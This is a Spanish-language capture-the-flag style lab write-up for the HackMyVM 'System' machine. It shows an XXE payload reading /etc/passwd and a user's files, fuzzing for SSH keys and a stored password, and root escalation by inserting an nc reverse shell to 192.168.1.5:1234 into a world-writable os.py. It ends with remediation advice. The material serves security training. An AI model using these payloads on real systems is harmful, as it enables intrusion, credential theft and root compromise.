Laboratorio Guiado - 04-system

Objetivo: Comprometer una máquina virtual vulnerable descubriendo debilidades en su servicio web, explotando una vulnerabilidad de **XXE** (**XML External Entity**) para obtener archivos sensibles, obtener acceso al sistema vía SSH y escalar privilegios mediante **Python Library Hijacking**, siguiendo las fases del **OWASP Testing Guide v4.**(Enlace a la máquina).

---

1. Información y Reconocimiento (OTG-INFO-001 a OTG-INFO-007)

Identificación del objetivo en red local:

```
❯ arp-scan --interface=wlo1 --localnet | grep PCS
192.168.1.44     08:00:27:2c:a2:91PCS Systemtechnik GmbH
```

Se utiliza arp-scan para mapear la red local. El MAC pertenece a VirtualBox, confirmando que es una VM (target común en entornos de laboratorio). La IP es **192.168.1.44**.

---

2. Enumeración de puertos y servicios (OTG-INFO-002, OTG-INFO-004)

Escaneo TCP completo con nmap:

```
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.44
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:2C:A2:91 (Oracle VirtualBox virtual NIC)
```

Se encuentran abiertos solo los puertos **22** (**SSH**) y **80** (**HTTP**) están abiertos.

Enumeración de versiones:

```
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.44
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA)
|   256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA)
|_  256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: HackMyVM Panel
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

SSH: versión común en Debian 11, sin exploits conocidos en esta configuración.
HTTP: nginx 1.18.0, aparentemente sirve una app llamada *HackMyVM Panel*.

3. Testing de entrada (OTG-INPVAL-008 Testing for XML Injection / XXE)

Inspección del código HTML:

<input type="submit" value="Register" onclick="XMLFunction()">

El submit dispara una función llamada XMLFunction(), lo que indica que el formulario envía datos en **formato XML**. Esto sugiere que el backend podría usar un **parser XML no seguro**, que es terreno fértil para un ataque **XXE (XML External Entity)**.

Captura de la petición con BurpSuite:

```
POST /magic.php HTTP/1.1
Host: 192.168.1.44
Content-Length: 102
Accept-Language: es-419,es;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://192.168.1.44
Referer: http://192.168.1.44/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<details>
<email>admin</email>
<password>asdf</password>
</details>
```

La estructura XML del payload confirma la sospecha. Como no se usa application/xml, podría estar mal validado. Se intenta un payload XXE básico:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE results [
  <!ENTITY pwned SYSTEM "file:///etc/passwd">
]>
<details>
  <email>
    &pwned;
  </email>
  <password>
    asdf
  </password>
</details>
```

Esto fuerza al parser XML a cargar contenido externo desde /etc/passwd.

Respuesta del servidor:

```
root:x:0:0:root:/root:/bin/bash
david:x:1000:1000::/home/david:/bin/bash
```

El servidor **interpreta entidades externas sin restricciones**, confirmando que es **vulnerable a XXE**. Se pudo leer un archivo arbitrario, sin autenticación, ni sanitización.

4. Descubrimiento de archivos sensibles vía XXE + Fuzzing (OTG-INFO-006)

Se construye una plantilla XML para fuzzear archivos dentro de /home/david/:

```
❯ cat xxe-template.xml
POST /magic.php HTTP/1.1
Host: 192.168.1.44
Content-Length: 176
Accept-Language: es-419,es;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://192.168.1.44
Referer: http://192.168.1.44/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE results [
  <!ENTITY pwned SYSTEM "file:///home/david/FUZZ">
]>
<details>
  <email>&pwned;</email>
  <password>admin</password>
</details>
```

Se lanza ataque con ffuf:

```
❯ ffuf -request xxe-template.xml -w
~/Documentos/wordlists/SecLists/Discovery/Web-Content/quickhits.txt -u
http://192.168.1.44/magic.php -X POST -H "Content-Type: application/xml" -fs
85
...
.profile        [Status: 200, Size: 892, Words: 138, Lines: 28, Duration:
19ms]
.ssh/id_rsa     [Status: 200, Size: 2687, Words: 17, Lines: 39, Duration:
16ms]
.ssh/id_rsa.pub [Status: 200, Size: 653, Words: 13, Lines: 2, Duration: 16ms]
.viminfo        [Status: 200, Size: 786, Words: 90, Lines: 39, Duration:
15ms]
...
```

.viminfo muchas veces guarda rutas y contenidos usados recientemente. Se busca ahí para encontrar rutas útiles.

Se descubre una ruta con una contraseña:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE results [
  <!ENTITY pwned SYSTEM "file:///home/david/.viminfo">
]>
...
# Password file Created:
'0  1  3  /usr/local/etc/mypass.txt
...
```

Se extrae contenido del archivo:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE results [
  <!ENTITY pwned SYSTEM "file:///usr/local/etc/mypass.txt">
]>
...
h4ck3rd4v!d
...
```

Credencial de usuario descubierta **sin autenticación** gracias a una cadena de errores: **parser XML inseguro + exposición de archivos internos + mala práctica de gestión de secretos**.

---

5. Autenticación con credenciales expuestas (OTG-AUTHN-002, OTG-AUTHN-003)

```
❯ ssh david@192.168.1.44
david@192.168.1.44's password: h4ck3rd4v!d
...
david@system:~$
```

Acceso SSH conseguido como **usuario david**. Aquí termina la fase de explotación web y comienza la de **post-explotación** en sistema.

---

6. Escalamiento de privilegios – Python Library Hijacking (OTG-CONFIG-001, OTG-PLVL-001)

Mediante el uso de la herramienta **pspy64**, se identifica la ejecución periódica de un script como root:

```
david@system:/tmp$ wget
https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64

david@system:/tmp$ chmod +x pspy64
david@system:/tmp$ ./pspy64
...
2025/07/27 23:41:01 CMD: UID=0     PID=945    | /bin/sh -c
/usr/bin/python3.9 /opt/suid.py
...
```

La tarea cron, ejecuta como **root** el script **`/opt/suid.py`**, escrito en Python. Si es posible modificar una de sus dependencias, se puede lograr ejecución de código como root.

Inspección del script vulnerable:

```
david@system:/tmp$ cat /opt/suid.py
from os import system
from pathlib import Path

# Reading only first line
```

```
try:
    with open('/home/david/cmd.txt', 'r') as f:
        read_only_first_line = f.readline()
    # Write a new file
    with open('/tmp/suid.txt', 'w') as f:
        f.write(f"{read_only_first_line}")
    check = Path('/tmp/suid.txt')
    if check:
        print("File exists")
        try:
            os.system("chmod u+s /bin/bash")
        except NameError:
            print("Done")
    else:
        print("File not exists")
except FileNotFoundError:
    print("File not exists")
```

```
david@system:/tmp$ find / -name os.py 2>/dev/null
/usr/lib/python3.9/os.py
```

Este script importa el módulo **os**, ubicado en **/usr/lib/python3.9/os.py**. Si ese archivo tiene permisos de escritura global, es susceptible a un ataque de **Python Library Hijacking**.

Verificación de permisos:

```
david@system:/tmp$ ls -l /usr/lib/python3.9/os.py
-rw-rw-rw- 1 root root 39063 Apr  2  2022 /usr/lib/python3.9/os.py
```

El archivo tiene permisos **-rw-rw-rw-**, lo que permite su modificación por cualquier usuario. Esto representa una configuración extremadamente insegura.

Explotación: reverse shell como root

Se modifica la librería os.py para insertar una reverse shell:

```
david@system:/tmp$ cat /usr/lib/python3.9/os.py | tail -n 4
def pwned():
    import subprocess
    subprocess.run(["nc","-e","/bin/bash","192.168.1.5","1234"])
pwned()
```

Se espera a que el cron ejecute el script vulnerable, lo cual resultará en una conexión entrante como root:

```
❯ ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.44:54598.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@system:~#
```

Shell como root obtenida sin necesidad de explotar binarios SUID ni vulnerabilidades del kernel: únicamente aprovechando una **configuración insegura de permisos en archivos de librería estándar**.

Alternativa: modificar permisos SUID de /bin/bash

Otra vía es abusar del mismo os.py para elevar privilegios mediante el cambio de permisos en /bin/bash:

```
david@system:/tmp$ cat /usr/lib/python3.9/os.py | tail -n 4
def pwned():
    import subprocess
    subprocess.run(["chmod","u+s","/bin/bash"])
pwned()
```

Luego, al listar los permisos del binario:

```
david@system:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Aug  4  2021 /bin/bash
```

Y para obtener una shell como root, ejecutamos Bash con el flag -p (que conserva privilegios efectivos):

```
david@system:/tmp$ bash -p
bash-5.1# whoami
root
```

Este ataque demuestra cómo **una mala configuración de permisos** en archivos críticos del sistema puede conducir a una **escalada de privilegios total**. La explotación no requiere vulnerabilidades del sistema operativo ni explotación binaria: solo abuso de configuraciones débiles.

---

7. Recomendaciones de Seguridad

A continuación se detallan recomendaciones específicas para mitigar las vulnerabilidades identificadas en este laboratorio, organizadas según las áreas de debilidad detectadas:

Inyección de Entidades Externas XML (XXE) – OTG-INPVAL-014

Hallazgo:
El formulario de registro acepta y procesa contenido XML sin validar ni restringir las entidades externas definidas por el usuario, lo que permite acceder a archivos arbitrarios del sistema (ej. `/etc/passwd`, claves privadas SSH).

Recomendaciones:

- Deshabilitar el uso de entidades externas (**DTDs**) en el parser XML configurando correctamente las librerías utilizadas.
- Utilizar parsers seguros que no procesen entidades externas por defecto (por ejemplo, `defusedxml` en Python).
- Validar y filtrar cuidadosamente los datos XML recibidos, evitando que se incluyan estructuras maliciosas.
- Establecer políticas de control de acceso para impedir que el proceso de la aplicación lea archivos confidenciales del sistema.

- Aplicar restricciones de red a la aplicación para evitar accesos externos desde el parser XML hacia recursos internos (**SSRF**).

Exposición de Claves Privadas y Credenciales en Archivos de Usuario – OTG-INFO-002

Hallazgo:
Se accedió a archivos sensibles como `.ssh/id_rsa` y `mypass.txt` a través de una vulnerabilidad XXE, exponiendo credenciales que permitieron acceso no autorizado por SSH.

Recomendaciones:

- Almacenar credenciales y claves privadas fuera de directorios accesibles desde aplicaciones web.

- Aplicar permisos restrictivos (chmod 600) a archivos como `.ssh/id_rsa` y monitorear accesos indebidos.

- Implementar controles de acceso estrictos sobre carpetas personales (`/home/usuario`) para evitar filtraciones.

- Rotar y revocar claves comprometidas tan pronto como se identifique una brecha de seguridad.

- Establecer alertas ante accesos o movimientos no autorizados en archivos sensibles del sistema.

Ejecución de Código Arbitrario por Tarea Automatizada y Librerías Manipulables – OTG-PRIV-004

Hallazgo:
Una tarea automatizada ejecuta un script como root que importa la librería `os.py` desde una ruta con permisos de escritura para el usuario `david`, permitiendo modificar su contenido para ejecutar código malicioso y escalar privilegios.

Recomendaciones:

- Verificar que todas las librerías del sistema utilizadas por scripts críticos tengan permisos seguros (`644` o más restrictivos).

- Evitar ejecutar tareas programadas como root que dependan de recursos editables por usuarios no privilegiados.

- Usar rutas absolutas y entornos virtuales controlados para importar librerías de Python en tareas automatizadas.

- Aplicar técnicas como firma de scripts o control de integridad (hashes verificados) en tareas críticas.

- Migrar tareas automatizadas sensibles a lenguajes o entornos más seguros y menos propensos al hijacking.

Software Desactualizado – OTG-CONFIG-001

Hallazgo:
El sistema utiliza versiones antiguas de OpenSSH (8.4p1) y nginx (1.18.0), conocidas por contener múltiples vulnerabilidades históricas.

Recomendaciones:

- Actualizar OpenSSH, nginx y otras dependencias del sistema a versiones actuales y con soporte activo.

- Implementar un ciclo regular de parches y actualizaciones como parte de la operación estándar.

- Utilizar herramientas de gestión de configuración (como Ansible, Puppet) para mantener consistencia y control de versiones.

- Monitorear fuentes oficiales de seguridad (CVE, bulletins) para detectar vulnerabilidades aplicables.

Gestión General de Seguridad

Recomendaciones adicionales:

- Implementar monitoreo continuo de logs del sistema, autenticación y ejecución de tareas automatizadas.

- Aplicar segmentación de red y aislamiento de servicios críticos para limitar el movimiento lateral de atacantes.

- Configurar reglas de firewall para restringir el acceso únicamente a los puertos necesarios (ej. 22 y 80).

- Realizar auditorías de seguridad periódicas y pruebas de penetración internas orientadas a las rutas de escalamiento más comunes.

- Incluir revisiones de seguridad en el ciclo de vida del desarrollo (SDLC), especialmente al utilizar tecnologías como XML.

- Capacitar al equipo técnico en buenas prácticas de hardening, análisis de código y respuesta a incidentes.